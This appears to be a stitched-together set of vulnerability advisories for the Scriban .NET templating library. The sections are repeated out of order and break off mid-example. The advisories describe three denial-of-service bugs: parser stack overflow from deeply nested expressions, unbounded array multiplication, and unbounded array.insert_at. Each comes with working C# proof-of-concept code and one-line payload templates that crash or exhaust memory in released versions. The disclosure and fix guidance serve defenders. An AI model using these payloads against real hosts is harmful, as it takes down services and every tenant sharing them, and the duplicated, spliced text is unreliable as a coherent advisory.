Denial of service against any host that renders attacker-controlled or attacker-influenced Scriban templates. This includes the canonical Scriban use cases the README itself lists -- email templating, report templating, in-CMS templating, and Statiq-style static site generators where the template content is part of the data ingested. A single one-line template payload is enough to either OOM the process outright (when the host gives the renderer enough memory headroom for the loop to actually finish) or to wedge the process for tens of seconds while the allocator and GC fight (when memory is tight). On ASP.NET hosts using app.UseScriban-style middleware or background workers running per-tenant templates, the OOM terminates the entire process, taking down all tenants.

Severity is consistent with the four DoS GHSAs already published against Scriban (GHSA-xw6w-9jjh-p9cr High 7.5, GHSA-c875-h985-hvrc High 7.5, GHSA-v66j-x4hw-fv9g High 7.5, GHSA-m2p3-hwv5-xpqw High 7.5). The attack vector, complexity, and impact are identical: network reachable, low complexity, no privileges, no user interaction, full availability impact, no confidentiality or integrity impact. CVSS 4.0 vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N (High, 8.7).

Summary

The ExpressionDepthLimit parser guard in Scriban does not actually stop parsing — it only logs a non-fatal error and lets recursive descent continue. As a result, a template containing a deeply nested expression (parentheses, array initializers, object initializers, or unary operators) drives the recursive-descent parser into a native stack overflow. The resulting StackOverflowException is uncatchable in .NET and immediately terminates the host process.

Any application that parses an attacker-influenced template — or that passes attacker-controlled strings to object.eval / object.eval_template — can be crashed by a single small request (roughly an 8 KB payload). This is a denial-of-service. It affects both Scriban-native (Template.Parse) and Liquid (Template.ParseLiquid) syntax modes, which share the same expression parser.

This re-opens two advisories that were reported as fixed: GHSA-wgh7-7m3c-fx25 ("Uncontrolled recursion in parser → StackOverflow", reported fixed in 6.6.0) and GHSA-p6q4-fgr8-vx4p ("StackOverflow via nested array initializers bypasses ExpressionDepthLimit", reported fixed in 7.0.0). Both fixes are incomplete: the limit they rely on never halts recursion. All releases 6.6.0 through 7.2.0 (current) are affected.

Details

The depth guard is EnterExpression() in src/Scriban/Parsing/Parser.Expressions.cs:

// src/Scriban/Parsing/Parser.Expressions.cs:1209-1218
private void EnterExpression()
{
    _expressionDepth++;
    var limit = Options.ExpressionDepthLimit;
    if (limit > 0 && !_isExpressionDepthLimitReached && _expressionDepth > limit)
    {
        LogError(GetSpanForToken(Previous), $"The statement depth limit `{limit}` was reached when parsing this statement");
        _isExpressionDepthLimitReached = true;
    }
}

When the limit is exceeded it calls LogError(...) and sets a flag. It does not throw, does not return a sentinel, and does not unwind the parse. LogError here uses the default isFatal: false, so it merely appends a message and sets HasErrors — parsing proceeds:

// src/Scriban/Parsing/Parser.cs:476-488
private void Log(LogMessage logMessage, bool isFatal = false)
{
    Messages.Add(logMessage);
    if (logMessage.Type == ParserMessageType.Error)
    {
        HasErrors = true;
        if (isFatal) _hasFatalError = true;   // not set on the depth-limit path
    }
}

The flag _isExpressionDepthLimitReached is consulted only to avoid logging the same error more than once — no code path uses it to stop descending. Confirmed by full-repo search (grep -rn "_isExpressionDepthLimitReached" src/): it appears in exactly four places — the field declaration (Parser.cs:40), a reset to false (Parser.cs:106), and within EnterExpression the dedup test (Parser.Expressions.cs:1213) and its assignment to true (:1216). The only read is the dedup test on line 1213; nothing else reads it. ParseExpression calls EnterExpression() and then continues straight into the token switch with no flag check:

// src/Scriban/Parsing/Parser.Expressions.cs:113 + 181-182
EnterExpression();
try
{
    ...
    case TokenType.OpenParen:
        leftOperand = ParseParenthesis();   // recurses back into ParseExpression

// src/Scriban/Parsing/Parser.Expressions.cs:984-1001
private ScriptExpression ParseParenthesis()
{
    var expression = Open<ScriptNestedExpression>();
    ExpectAndParseTokenTo(expression.OpenParen, TokenType.OpenParen);
    expression.Expression = ExpectAndParseExpression(expression);  // -> ParseExpression -> ParseParenthesis -> ...
    ...
}

Both Template.Parse (Scriban-native) and Template.ParseLiquid (Liquid-compatibility) front-ends share this same expression parser, so both entry points are affected.

So for input nested N levels deep, the parser recurses N levels deep regardless of ExpressionDepthLimit. There is no RuntimeHelpers.EnsureSufficientExecutionStack() call and no absolute recursion cap anywhere in the parser. Once the native thread stack is exhausted, the runtime raises StackOverflowException, which .NET does not allow to be caught and which tears down the entire process. The number of nesting levels required to overflow depends on the platform's thread-stack size (empirically around 4,000 levels on a default 1 MB stack); it is not a configurable mitigation.

The same defective guard is what makes the array-initializer fix for GHSA-p6q4-fgr8-vx4p ineffective: ParseArrayInitializer was wrapped in EnterExpression()/LeaveExpression(), but because EnterExpression() only logs, the array path still overflows.

The existing regression tests only assert HasErrors == true at a nesting depth of ~20 with a limit of 10 (src/Scriban.Tests/TestParser.cs); they never use a depth large enough to overflow the stack, so they pass while the protection does nothing against the actual DoS.

Runtime reachability without template injection: object.eval / object.eval_template (src/Scriban/Functions/ObjectFunctions.cs:72-155) re-parse a string argument at render time using Template.Parse(...). An application whose own templates are fully trusted is still vulnerable if any user-controlled value flows into object.eval. The catch (Exception) inside Eval cannot intercept the StackOverflowException.

PoC

A single console project reproduces it on the released NuGet package.

poc.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. -->
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Scriban" Version="7.2.0" />
  </ItemGroup>
</Project>

Program.cs:

using Scriban;

int n = 8000; // ~8 KB template; 8000 reliably overflows a default 1 MB thread stack
string tpl = "{{ " + new string('(', n) + "1" + new string(')', n) + " }}";

System.Console.WriteLine($"Parsing template with {n} nested parentheses (default ParserOptions)...");
Template.Parse(tpl);                 // <-- process is killed here
System.Console.WriteLine("Parse returned without crashing"); // never reached

Run:

dotnet run -c Release

Observed output (process aborts; shell exit code 134 = SIGABRT):

Parsing template with 8000 nested parentheses (default ParserOptions)...
Stack overflow.
   at Scriban.Parsing.Parser.ParseParenthesis()
   at Scriban.Parsing.Parser.ParseExpression(...)
   at Scriban.Parsing.Parser.ExpectAndParseExpression(...)
   at Scriban.Parsing.Parser.ParseParenthesis()
   ... (repeats until the stack is exhausted)

Additional confirmations (same crash / exit 134), substituting the template body in Program.cs:

The explicit limit is ignored — still crashes:

Template.Parse(tpl, parserOptions: new ParserOptions { ExpressionDepthLimit = 10 });

Array initializers (the GHSA-p6q4 path):

string tpl = "{{ " + new string('[', n) + "1" + new string(']', n) + " }}";
Template.Parse(tpl);  // crashes identically

Object initializers {x:{x:...{x:1}...}}:

var b = new System.Text.StringBuilder();
for (int i = 0; i < n; i++) b.Append("{x:");
b.Append('1');
b.Append('}', n);
Template.Parse("{{ " + b + " }}");  // crashes identically

Unary operators:

string tpl = "{{ " + new string('!', n) + "true" + " }}";
Template.Parse(tpl);  // crashes identically

Liquid syntax mode (shares the same expression parser):

string tpl = "{{ " + new string('(', n) + "1" + new string(')', n) + " }}";
Template.ParseLiquid(tpl);  // crashes identically

Runtime via object.eval, with a fully trusted outer template — verified end-to-end: the outer parse reports HasErrors == false, then Render() crashes the process and the surrounding try/catch never fires (the StackOverflowException is uncatchable):

using Scriban;

int n = 8000;
string deep = new string('(', n) + "1" + new string(')', n);
string outer = "{{ \"" + deep + "\" | object.eval }}";

System.Console.WriteLine($"Outer template length = {outer.Length} chars.");
var t = Template.Parse(outer);
System.Console.WriteLine($"Outer parsed. HasErrors = {t.HasErrors}");
System.Console.WriteLine("Rendering (object.eval re-parses the inner string at runtime)...");
try
{
    t.Render();
    System.Console.WriteLine("Render returned without crashing");
}
catch (System.Exception e)
{
    System.Console.WriteLine($"Caught {e.GetType().Name} (note: StackOverflowException cannot be caught)");
}

Verified against clean NuGet installs of Scriban 6.6.0, 7.0.0, 7.1.0, and 7.2.0 (net8.0, .NET 9 runtime, Linux). A control template with depth 200 parses normally (HasErrors == false, no crash).

Impact

• Type: Denial of service via uncontrolled recursion (CWE-674) leading to an uncatchable StackOverflowException and full process termination.
• Severity: CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (High) — the same vector and score as both prior advisories it re-opens (GHSA-wgh7-7m3c-fx25 and GHSA-p6q4-fgr8-vx4p, each scored 7.5 High with the identical AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H vector). The score reflects the library boundary, where no privileges are required to parse a template; the privilege actually needed in a given deployment depends on how that application exposes template input.
• Who is impacted: Any application that calls Template.Parse / Template.ParseLiquid (or Template.Render on an unparsed source) on template text that is wholly or partially attacker-controlled — the documented server-side template scenario — and any application that passes attacker-controlled strings to object.eval / object.eval_template, even when its own templates are trusted.
• Why the existing mitigation does not help: ExpressionDepthLimit (default 250) is advisory only; it records a parse error but does not stop recursion, so it cannot prevent the stack overflow. Because the exception is a StackOverflowException, callers cannot defend with try/catch either — the process is lost.
• Affected versions: 6.6.0 – 7.2.0 (all versions shipping the depth-limit guard). Versions before 6.6.0 are vulnerable to the original unbounded-recursion condition.

Suggested remediation: make the limit actually stop descent — e.g. throw a parse exception from EnterExpression() when the limit is exceeded (or log with isFatal: true and have the parse loop honor _hasFatalError by unwinding). As defense in depth, call RuntimeHelpers.EnsureSufficientExecutionStack() at the entry of ParseExpression (the same technique already used in object.to_json), and add a regression test at a depth that overflows without the fix (e.g. 100,000), asserting a graceful exception rather than only checking HasErrors at depth 20.

Summary

The array multiplication operator (array * integer) in Scriban allocates a result whose size is the product of the attacker-controlled integer and the array length, with no LoopLimit / LimitToString check and no overflow-safe arithmetic. A ~40-byte template forces a multi-gigabyte allocation, producing a denial-of-service.

This is the unguarded sibling of operations that were hardened against the same class of abuse: string * integer (gated by a LimitToString pre-check), array.insert_at (gated by StepLoop/LoopLimit — the GHSA-24c8-4792-22hx fix shipped in 7.2.0, scored 8.7 High), and the range/iteration paths covered by GHSA-c875-h985-hvrc ("Built-in operations bypass LoopLimit", fixed 7.0.0). The same LoopLimit-based hardening pattern was applied to those operations but never to array * integer.

This can be observed directly in 7.0.0, the release where GHSA-c875 was patched: (1..5) * 50000000 (and 1..N | array.size) correctly throws Exceeding number of iteration limit '1000', while [1,2,3,4,5] * 50000000 allocates ~2 GB with no limit. The LoopLimit control is enforced on the iteration path but not on the array * int allocation path, side by side, in the same version. The bug has been present since the operator was introduced in 3.0.0, survives all of the 6.6.0 / 7.0.0 / 7.2.0 DoS-hardening passes, and is still present in 7.2.0 (current) — i.e. it is both a missed sibling of GHSA-24c8 and an incomplete coverage of GHSA-c875's LoopLimit hardening.

Details

The array * int operator is handled in ScriptArray<T>.TryEvaluate:

// src/Scriban/Runtime/ScriptArray.cs:504-508  (Multiply case)
var newArray = new ScriptArray<T>(intModifier * array.Count);
for (int i = 0; i < intModifier; i++)
{
    newArray.AddRange(array);
}

intModifier is the attacker-supplied integer (context.ToInt(...), ScriptArray.cs:399). Two problems:

1. No resource limit. Neither new ScriptArray<T>(intModifier * array.Count) nor the AddRange loop consults LoopLimit, LimitToString, or calls context.StepLoop(...). A grep of the entire TryEvaluate method (ScriptArray.cs:360-560) finds no StepLoop / LoopLimit / Limit reference. LoopLimit (default 1000) is therefore not enforced: a template that requests 250,000,000 elements creates them all without any "iteration limit" error.

2. Integer overflow in the capacity. intModifier * array.Count is unchecked int arithmetic. The overflow-safe long cast used by the string sibling is absent here.

The DoS-hardening passes guarded the two sibling operations but not this one:

// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:341  (string * int — GUARDED)
if (context.LimitToString > 0 && value > 0 && leftText.Length > 0
        && (long)leftText.Length * value > context.LimitToString)   // long arithmetic, pre-check
{
    throw new ScriptRuntimeException(spanMultiplier, $"String multiplication exceeds LimitToString `{context.LimitToString}`.");
}

// src/Scriban/Functions/ArrayFunctions.cs:414  (array.insert_at — GUARDED, GHSA-24c8 fix in 7.2.0)
for (int i = array.Count; i < index; i++)
{
    context.StepLoop(span, ref loopStep);   // LoopLimit enforced
    array.Add(null);
}

array * int (ScriptArray.cs:504) received neither guard.

When the oversized allocation fails as a managed exception, it is wrapped by the binary-expression evaluator:

// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:241-243
catch (Exception ex) when (!(ex is ScriptRuntimeException))
{
    throw new ScriptRuntimeException(span, ex.Message);
}

So a host that wraps Render() in try/catch sees a ScriptRuntimeException carrying the original OutOfMemoryException message (or ArgumentOutOfRangeException on the integer-overflow path).

PoC

A single console project reproduces it on the released NuGet package.

poc.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. -->
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Scriban" Version="7.2.0" />
  </ItemGroup>
</Project>

Program.cs:

using Scriban;

// ~41-byte template requests 5 * 200,000,000 = 1,000,000,000 elements
string tpl = "{{ x = [1,2,3,4,5] * 200000000; x.size }}";

System.Console.WriteLine("Rendering...");
var sw = System.Diagnostics.Stopwatch.StartNew();
var result = Template.Parse(tpl).Render();           // allocates ~7.7 GB
System.Console.WriteLine($"size={result.Trim()} peakWS="
    + System.Diagnostics.Process.GetCurrentProcess().PeakWorkingSet64 / (1024 * 1024)
    + "MB elapsed=" + sw.ElapsedMilliseconds + "ms");

Run:

dotnet run -c Release

Measured peak working set on Scriban 7.2.0 (net8.0, .NET 9 runtime, Linux), varying only the multiplier:

| Multiplier | template size | elements | peak working set | |---|---|---|---| | 100,000 | 38 B | 500K | 49 MB (not a DoS) | | 50,000,000 | 40 B | 250M | 1,958 MB | | 200,000,000 | 41 B | 1B | 7,681 MB | | 400,000,000 | 41 B | 2B | 15,313 MB | | 429,496,730 | 41 B | — | integer overflow in intModifier * array.Count → wrapped ArgumentOutOfRangeException |

LoopLimit (default 1000) is demonstrably not enforced: 250,000,000 elements are created with no "iteration limit" error. Reproduced identically on released NuGet 6.6.0, 7.0.0, 7.1.0, and 7.2.0, and on 3.0.0, 4.0.0, 5.0.0, 5.10.0, 6.0.0, 6.2.1, 6.5.8 (~2 GB at multiplier 50,000,000). Version 2.1.4 and earlier are NOT affected — the operator did not exist (Unable to convert type ScriptArray to int).

Impact

• Type: Denial of service via uncontrolled memory allocation (CWE-789 / CWE-1284). The result size is intModifier * array.Count, attacker-controlled, with no limit and no overflow-safe arithmetic.
• Severity: CVSS 4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N = 8.7 (High) — the same vector and score GitHub/Scriban assigned to the sibling advisory GHSA-24c8-4792-22hx. CVSS 3.1 equivalent AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (High).
• Who is impacted: any application that renders a template whose text is wholly or partially attacker-controlled (the documented server-side template scenario), or that passes attacker-controlled strings to object.eval / object.eval_template. No MemberFilter interaction is required — this is a pure language operation.
• Outcome (deployment-dependent, stated honestly): On systems with sufficient memory, the runtime catches the allocation failure and the host sees a ScriptRuntimeException wrapping OutOfMemoryException (or ArgumentOutOfRangeException on the integer-overflow path) — recoverable per request. On systems where the multi-GB allocation exceeds available memory, the OS OOM-killer can terminate the process before the managed exception fires (this outcome is deployment-dependent and was not reproduced in our 20 GB + swap test environment). In all cases, a ~40-byte template forces a multi-GB allocation and seconds of pegged CPU/GC — a real per-request availability degradation and resource amplification.
• Why the existing mitigation does not help: LoopLimit (default 1000) is the documented control for unbounded iteration/allocation, but the array * int path never consults it, so a defender running default configuration is not protected.
• Affected versions: 3.0.0 – 7.2.0 (every release containing the array * int operator). 2.1.4 and earlier are not affected.

Suggested remediation

Apply the same hardening already used on the sibling operations, in ScriptArray.cs (Multiply case, :504-508):

• Mirror array.insert_at: call context.StepLoop(span, ref loopStep) inside the fill loop so LoopLimit is enforced; or
• Mirror string * int: pre-check the result size with overflow-safe arithmetic before allocating, e.g. if (context.LimitToString > 0 && (long)intModifier * array.Count > context.LimitToString) throw new ScriptRuntimeException(...), and compute the capacity as long (or reject negative/overflowing products) to remove the integer-overflow path.

Add a regression test that asserts a graceful ScriptRuntimeException for a large multiplier (e.g. [1,2,3,4,5] * 50000000) rather than allowing the allocation to proceed.

Summary

ArrayFunctions.InsertAt in Scriban allocates index - list.Count null entries in a tight C# for loop with no bound on index. The function is exposed to template authors as array.insert_at, and the fill loop ignores every existing safety control: LoopLimit, LimitToString, ObjectRecursionLimit, and RecursiveLimit. A single template such as {{ [1] | array.insert_at 200000000 'x' | array.size }} causes OutOfMemoryException in well under a second on a host with 1 GB of memory, even when LoopLimit is set to 10 and LimitToString is set to 100. Because OutOfMemoryException is generally not caught by the template renderer or by typical host applications, the vulnerability terminates the host process, not just the template.

This is a sibling vector to GHSA-xw6w-9jjh-p9cr / GHSA-c875-h985-hvrc / GHSA-v66j-x4hw-fv9g, which patched comparable unbounded primitives in string * int, array.size, array.join, string.pad_left, and string.pad_right. The 7.0.0 hardening pass (dde661d "Apply LoopLimit to internal iteration paths" and 4227fde "Harden string padding width limits") swept the equivalent loops in ArrayFunctions and StringFunctions but missed InsertAt.

Details

Reproducible in 7.1.0 (latest tag) and on master at c8094b0.

src/Scriban/Functions/ArrayFunctions.cs:369-386:

public static IEnumerable InsertAt(IEnumerable? list, int index, object? value)
{
    if (index < 0)
    {
        index = 0;
    }

    var array = list is null ? new ScriptArray() : new ScriptArray(list);
    // Make sure that the list has already inserted elements before the index
    for (int i = array.Count; i < index; i++)
    {
        array.Add(null);            // <-- unbounded fill, no StepLoop, no Limit*
    }

    array.Insert(index, value);

    return array;
}

The function is registered as the template builtin array.insert_at (array.fmt-cs and the standard ArrayFunctions ScriptObject reflection registration). It is invoked from a template like [1] | array.insert_at 999999999 "x".

Three properties combine to make this exploitable:

1. There is no context-aware overload. Comparable amplification primitives in this same file received a (TemplateContext, SourceSpan, ...) overload that calls StepLoop per iteration (AddRange, Compact, Concat, Last, Limit, Offset, Reverse, Size, Sort, Uniq, Contains, Each, Filter, Join, Map, Any -- see commit dde661d). InsertAt was not given that treatment. The single IEnumerable, int, object signature is what the engine resolves to, so no host configuration changes its behaviour.

2. The loop itself never consults context.LoopLimit, context.LimitToString, context.RecursiveLimit, or context.ObjectRecursionLimit. There is no upstream call into context.StepLoop, context.CheckAbort, or any guard. With index = 200_000_000, the C# loop calls ScriptArray.Add(null) 200 million times on a List<object> whose capacity doubles geometrically; the JIT-compiled tight loop reaches the .NET array allocator faster than the GC can keep up.

3. OutOfMemoryException is the actual failure mode. Per Microsoft, OutOfMemoryException and friends are not reliably catchable by user code in production CLR runtimes; even when they are caught, large background allocations and triggered GC cycles leave the process in a degraded state. In the PoC below, the renderer wraps the OOM in a ScriptRuntimeException because the underlying allocation lands inside the renderer's try block, but on hosts that allocate the array slightly differently (e.g. tighter memory cap, server GC, or higher index value than the host has memory for) the bare OutOfMemoryException propagates and crashes the AppDomain.

The pattern that matches the existing fixes is to add a context-aware overload that validates index against LoopLimit (or LimitToString for the resulting array footprint) before the fill loop runs, and to mark the unsafe overload [ScriptMemberIgnore]:

[ScriptMemberIgnore]
public static IEnumerable InsertAt(IEnumerable list, int index, object value) { /* current body */ }

public static IEnumerable InsertAt(TemplateContext context, SourceSpan span, IEnumerable list, int index, object value)
{
    if (index < 0) index = 0;
    if (context.LoopLimit > 0 && index > context.LoopLimit)
    {
        throw new ScriptRuntimeException(span,
            $"array.insert_at index `{index}` exceeds LoopLimit `{context.LoopLimit}`.");
    }
    return InsertAt(list, index, value);
}

Same pattern as ArrayFunctions.AddRange, Compact, Concat, Last, Limit, etc., introduced by dde661d, and as StringFunctions.PadLeft/PadRight introduced by 4227fde.

PoC

Standalone .NET 9 console app referencing Scriban 7.1.0 from NuGet.

poc.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net9.0</TargetFramework>
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Scriban" Version="7.1.0" />
  </ItemGroup>
</Project>

Program.cs:

using System;
using System.Diagnostics;
using Scriban;

class Program
{
    static void Run(string title, string template, int loopLimit, int limitToString, int timeoutSec)
    {
        Console.WriteLine($"\n=== {title} ===");
        var ctx = new TemplateContext { LoopLimit = loopLimit, LimitToString = limitToString };
        var tpl = Template.Parse(template);
        var sw = Stopwatch.StartNew();
        try
        {
            var task = System.Threading.Tasks.Task.Run(() => tpl.Render(ctx));
            if (!task.Wait(TimeSpan.FromSeconds(timeoutSec)))
            {
                Console.WriteLine($"  TIMEOUT after {timeoutSec}s -- DoS confirmed");
                return;
            }
            Console.WriteLine($"  output={task.Result?.Length} chars in {sw.Elapsed.TotalSeconds:F2}s");
        }
        catch (AggregateException ex)
        {
            Console.WriteLine($"  EXCEPTION ({sw.Elapsed.TotalSeconds:F2}s): {ex.InnerException?.GetType().Name}: " +
                              $"{ex.InnerException?.Message?.Split('\n')[0]}");
        }
    }

    static void Main()
    {
        // Baseline: small index renders normally.
        Run("baseline",
            "{{ ([1] | array.insert_at 5 'x' | array.size) }}",
            loopLimit: 1000, limitToString: 1048576, timeoutSec: 5);

        // Exploit: 200M index. LoopLimit=10 and LimitToString=100 do NOT protect.
        Run("DoS via array.insert_at index=200_000_000",
            "{{ [1] | array.insert_at 200000000 'x' | array.size }}",
            loopLimit: 10, limitToString: 100, timeoutSec: 30);

        // Exploit: int.MaxValue.
        Run("DoS via array.insert_at index=int.MaxValue",
            "{{ [1] | array.insert_at 2147483647 'x' | array.size }}",
            loopLimit: 10, limitToString: 100, timeoutSec: 15);
    }
}

Build and run inside a memory-capped Docker container so the OOM is actual, not theoretical:

docker run --rm -v "$PWD":/app -w /app -m 1g mcr.microsoft.com/dotnet/sdk:9.0 \
    dotnet run -c Release

Observed output:

=== baseline ===
  output=1 chars in 0.01s

=== DoS via array.insert_at index=200_000_000 ===
  EXCEPTION (0.68s): ScriptRuntimeException: <input>(1,10) : error : Exception of type 'System.OutOfMemoryException' was thrown.

=== DoS via array.insert_at index=int.MaxValue ===
  EXCEPTION (0.52s): ScriptRuntimeException: <input>(1,10) : error : Exception of type 'System.OutOfMemoryException' was thrown.

Two observations:

• The exploit triggers in roughly 600 ms inside a 1 GB container. Increasing the host memory simply moves the OOM threshold; the malicious template still wedges the process for the duration of the allocation and the resulting GC pressure, which is itself a denial of service even when the OOM is suppressed.
• Setting LoopLimit = 10 and LimitToString = 100 (effectively the most paranoid tuning a host could pick) makes no difference. The fill loop is in compiled C#, never goes through StepLoop, and the result is a ScriptArray, not a string, so LimitToString is never consulted.

Impact

Denial of service against any host that renders attacker-controlled or attacker-influenced Scriban templates. This includes the canonical Scriban use cases the README itself lists -- email templating, report templating, in-CMS templating, and Statiq-style static site generators where the template content is part of the data ingested. A single one-line template payload is enough to either OOM the process outright (when the host gives the renderer enough memory headroom for the loop to actually finish) or to wedge the process for tens of seconds while the allocator and GC fight (when memory is tight). On ASP.NET hosts using app.UseScriban-style middleware or background workers running per-tenant templates, the OOM terminates the entire process, taking down all tenants.

Severity is consistent with the four DoS GHSAs already published against Scriban (GHSA-xw6w-9jjh-p9cr High 7.5, GHSA-c875-h985-hvrc High 7.5, GHSA-v66j-x4hw-fv9g High 7.5, GHSA-m2p3-hwv5-xpqw High 7.5). The attack vector, complexity, and impact are identical: network reachable, low complexity, no privileges, no user interaction, full availability impact, no confidentiality or integrity impact. CVSS 4.0 vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N (High, 8.7).

Summary

The ExpressionDepthLimit parser guard in Scriban does not actually stop parsing — it only logs a non-fatal error and lets recursive descent continue. As a result, a template containing a deeply nested expression (parentheses, array initializers, object initializers, or unary operators) drives the recursive-descent parser into a native stack overflow. The resulting StackOverflowException is uncatchable in .NET and immediately terminates the host process.

Any application that parses an attacker-influenced template — or that passes attacker-controlled strings to object.eval / object.eval_template — can be crashed by a single small request (roughly an 8 KB payload). This is a denial-of-service. It affects both Scriban-native (Template.Parse) and Liquid (Template.ParseLiquid) syntax modes, which share the same expression parser.

This re-opens two advisories that were reported as fixed: GHSA-wgh7-7m3c-fx25 ("Uncontrolled recursion in parser → StackOverflow", reported fixed in 6.6.0) and GHSA-p6q4-fgr8-vx4p ("StackOverflow via nested array initializers bypasses ExpressionDepthLimit", reported fixed in 7.0.0). Both fixes are incomplete: the limit they rely on never halts recursion. All releases 6.6.0 through 7.2.0 (current) are affected.

Details

The depth guard is EnterExpression() in src/Scriban/Parsing/Parser.Expressions.cs:

// src/Scriban/Parsing/Parser.Expressions.cs:1209-1218
private void EnterExpression()
{
    _expressionDepth++;
    var limit = Options.ExpressionDepthLimit;
    if (limit > 0 && !_isExpressionDepthLimitReached && _expressionDepth > limit)
    {
        LogError(GetSpanForToken(Previous), $"The statement depth limit `{limit}` was reached when parsing this statement");
        _isExpressionDepthLimitReached = true;
    }
}

When the limit is exceeded it calls LogError(...) and sets a flag. It does not throw, does not return a sentinel, and does not unwind the parse. LogError here uses the default isFatal: false, so it merely appends a message and sets HasErrors — parsing proceeds:

// src/Scriban/Parsing/Parser.cs:476-488
private void Log(LogMessage logMessage, bool isFatal = false)
{
    Messages.Add(logMessage);
    if (logMessage.Type == ParserMessageType.Error)
    {
        HasErrors = true;
        if (isFatal) _hasFatalError = true;   // not set on the depth-limit path
    }
}

The flag _isExpressionDepthLimitReached is consulted only to avoid logging the same error more than once — no code path uses it to stop descending. Confirmed by full-repo search (grep -rn "_isExpressionDepthLimitReached" src/): it appears in exactly four places — the field declaration (Parser.cs:40), a reset to false (Parser.cs:106), and within EnterExpression the dedup test (Parser.Expressions.cs:1213) and its assignment to true (:1216). The only read is the dedup test on line 1213; nothing else reads it. ParseExpression calls EnterExpression() and then continues straight into the token switch with no flag check:

// src/Scriban/Parsing/Parser.Expressions.cs:113 + 181-182
EnterExpression();
try
{
    ...
    case TokenType.OpenParen:
        leftOperand = ParseParenthesis();   // recurses back into ParseExpression

// src/Scriban/Parsing/Parser.Expressions.cs:984-1001
private ScriptExpression ParseParenthesis()
{
    var expression = Open<ScriptNestedExpression>();
    ExpectAndParseTokenTo(expression.OpenParen, TokenType.OpenParen);
    expression.Expression = ExpectAndParseExpression(expression);  // -> ParseExpression -> ParseParenthesis -> ...
    ...
}

Both Template.Parse (Scriban-native) and Template.ParseLiquid (Liquid-compatibility) front-ends share this same expression parser, so both entry points are affected.

So for input nested N levels deep, the parser recurses N levels deep regardless of ExpressionDepthLimit. There is no RuntimeHelpers.EnsureSufficientExecutionStack() call and no absolute recursion cap anywhere in the parser. Once the native thread stack is exhausted, the runtime raises StackOverflowException, which .NET does not allow to be caught and which tears down the entire process. The number of nesting levels required to overflow depends on the platform's thread-stack size (empirically around 4,000 levels on a default 1 MB stack); it is not a configurable mitigation.

The same defective guard is what makes the array-initializer fix for GHSA-p6q4-fgr8-vx4p ineffective: ParseArrayInitializer was wrapped in EnterExpression()/LeaveExpression(), but because EnterExpression() only logs, the array path still overflows.

The existing regression tests only assert HasErrors == true at a nesting depth of ~20 with a limit of 10 (src/Scriban.Tests/TestParser.cs); they never use a depth large enough to overflow the stack, so they pass while the protection does nothing against the actual DoS.

Runtime reachability without template injection: object.eval / object.eval_template (src/Scriban/Functions/ObjectFunctions.cs:72-155) re-parse a string argument at render time using Template.Parse(...). An application whose own templates are fully trusted is still vulnerable if any user-controlled value flows into object.eval. The catch (Exception) inside Eval cannot intercept the StackOverflowException.

PoC

A single console project reproduces it on the released NuGet package.

poc.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. -->
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Scriban" Version="7.2.0" />
  </ItemGroup>
</Project>

Program.cs:

using Scriban;

int n = 8000; // ~8 KB template; 8000 reliably overflows a default 1 MB thread stack
string tpl = "{{ " + new string('(', n) + "1" + new string(')', n) + " }}";

System.Console.WriteLine($"Parsing template with {n} nested parentheses (default ParserOptions)...");
Template.Parse(tpl);                 // <-- process is killed here
System.Console.WriteLine("Parse returned without crashing"); // never reached

Run:

dotnet run -c Release

Observed output (process aborts; shell exit code 134 = SIGABRT):

Parsing template with 8000 nested parentheses (default ParserOptions)...
Stack overflow.
   at Scriban.Parsing.Parser.ParseParenthesis()
   at Scriban.Parsing.Parser.ParseExpression(...)
   at Scriban.Parsing.Parser.ExpectAndParseExpression(...)
   at Scriban.Parsing.Parser.ParseParenthesis()
   ... (repeats until the stack is exhausted)

Additional confirmations (same crash / exit 134), substituting the template body in Program.cs:

The explicit limit is ignored — still crashes:

Template.Parse(tpl, parserOptions: new ParserOptions { ExpressionDepthLimit = 10 });

Array initializers (the GHSA-p6q4 path):

string tpl = "{{ " + new string('[', n) + "1" + new string(']', n) + " }}";
Template.Parse(tpl);  // crashes identically

Object initializers {x:{x:...{x:1}...}}:

var b = new System.Text.StringBuilder();
for (int i = 0; i < n; i++) b.Append("{x:");
b.Append('1');
b.Append('}', n);
Template.Parse("{{ " + b + " }}");  // crashes identically

Unary operators:

string tpl = "{{ " + new string('!', n) + "true" + " }}";
Template.Parse(tpl);  // crashes identically

Liquid syntax mode (shares the same expression parser):

string tpl = "{{ " + new string('(', n) + "1" + new string(')', n) + " }}";
Template.ParseLiquid(tpl);  // crashes identically

Runtime via object.eval, with a fully trusted outer template — verified end-to-end: the outer parse reports HasErrors == false, then Render() crashes the process and the surrounding try/catch never fires (the StackOverflowException is uncatchable):

using Scriban;

int n = 8000;
string deep = new string('(', n) + "1" + new string(')', n);
string outer = "{{ \"" + deep + "\" | object.eval }}";

System.Console.WriteLine($"Outer template length = {outer.Length} chars.");
var t = Template.Parse(outer);
